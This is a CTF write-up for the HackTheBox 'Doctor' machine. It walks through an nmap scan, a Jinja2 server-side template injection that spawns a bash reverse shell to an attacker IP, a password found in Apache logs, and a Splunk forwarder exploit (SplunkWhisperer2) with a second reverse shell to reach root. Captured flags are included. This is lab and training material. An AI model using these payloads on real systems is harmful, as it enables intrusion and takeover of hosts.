Doctor - Write-up - HackTheBox

noraj

2021-02-16

Contents

1 Information

READ THE WU ONLINE: https://blog.raw.pm/en/HackTheBox-Worker-write-up/

1.1 Box

- **Name:** Doctor
- **Profile:** www.hackthebox.eu
- **Difficulty:** Easy
- **OS:** Linux
- **Points:** 20

Figure 1.1: Doctor

2 Write-up

2.1 Overview

Install tools used in this WU on BlackArch Linux:

```
$ pacman -S nmap pwncat payloadsallthethings
```

2.2 Network enumeration

Port and service scan with nmap:

```
# Nmap 7.91 scan initiated Sun Feb 14 19:31:04 2021 as: nmap -sSVC -p- -v -oA nmap_scan
↪  10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.056s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer:
↪  commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
```

```
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 14 19:33:51 2021 -- 1 IP address (1 host up) scanned in 166.52 seconds
```

2.3 Web discovery

Browsing with the IP address we have nothing fancy but we can find a reference to `doctors.htb`.

```
$ curl -s http://10.10.10.209/ | grep doctor
              <strong>info@doctors.htb</strong>
```

So lets' add it to `/etc/hosts`.

```
$ grep doctor /etc/hosts
10.10.10.209 doctors.htb
```

Now browsing http://doctors.htb/ we access an app called *Doctor Secure Messaging*.

We can register an account and login.

At http://doctors.htb/post/new there is a feature where we can post a message.

There is a HTML comment:

```
<!--archive still under beta testing<a class="nav-item nav-link"
↪  href="/archive">Archive</a>-->
```

The source code of http://doctors.htb/archive is displaying the following XML content:

```
    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
```

It looks like a RSS feed. If I create a post, an entry appears under the RSS feed:

```
    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
     <title>Archive</title>
     <item><title>Test title</title></item>

            </channel>
```

2.4 Web exploitation: SSTI

We can try to inject a SSTI payload to see if it is executed and reflected.

As the box is not realistic and most challenge "developers" only know python and never try another language so it's almost safe to assume the web app is coded in python and the template engine will be Jinja2.

Let's try `{{ 7*7 }}`, on the RSS feed we can see `<item><title>49</title></item>` so we know the payload is executed.

Let's directly try a simple RCE to get a reverse shell:

```
{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "/bin/bash -i >&
↪  /dev/tcp/10.10.14.169/9999 0>&1"').read()}}
```

After triggering the RSS feed I received the connection on my listener:

```
$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.209:50334 (family 2/IPv4, TCP)
bash: cannot set terminal process group (864): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$
```

2.5 Elevation of Privilege (EoP): from web to shaun

Interestingly the user we have is in the `adm` group, this means it can read `/var/log/`.

```
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
```

Let's check users with a shell to know which user target next:

```
web@doctor:~$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
```

As we are in `adm` group I directly targeted `/var/log/`:

```
web@doctor:~$ grep -r password /var/logs
...
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST
↪  /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
...
```

Warning: guessing involved here for 2 things:

1. the author thinks that it's common for passwords to be accidentally entered into the email field
2. find the this password is owned by `shaun`

```
web@doctor:~$ su shaun
Password: Guitar123

shaun@doctor:/home/web$ cd

shaun@doctor:~$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
```

2.6 Elevation of Privilege (EoP): from shaun to root

We have not used Splunk yet, it must be involved in next step.

A French pentester, *Clément Notin*, wrote an article entitled Splunk Universal Forwarder Hijacking 2: SplunkWhisperer2 and also made available an associated exploit.

Let's check the prerequisites:

- Universal Forwarder Agents running (on port 8089)
- `splunkd` is running as root
- credentials, guessing again, shaun creds are re-used for the splunk agent (totally realistic)

```
$ ps -ef f | grep splunk
root        1141       1  0 21:19 ?        Sl     0:01 splunkd -p 8089 start
root        1143    1141  0 21:19 ?        Ss     0:00  \_ [splunkd pid=1141] splunkd -p 8089
↪  start [process-runner]
```

Let's exploit the guesbox now:

```
$ git clone https://github.com/cnotin/SplunkWhisperer2
$ cd SplunkWhisperer2/PySplunkWhispherer2/
$ python PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.169 --username
↪  shaun --password Guitar123 --payload '/bin/bash -c "/bin/bash -i >&
↪  /dev/tcp/10.10.14.169/8888 0>&1"'
```

Enjoy:

```
$ pwncat -l 8888 -vv
INFO: Listening on 0.0.0.0:8888 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.209:35294 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1143): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# id
uid=0(root) gid=0(root) groups=0(root)

root@doctor:/# cat /root/root.txt
2011c879032a897c9d4d517f7e448839

root@doctor:/# cat /home/shaun/user.txt
95cb0c0321ccb5c5cc4d617b2c4cb2bf
```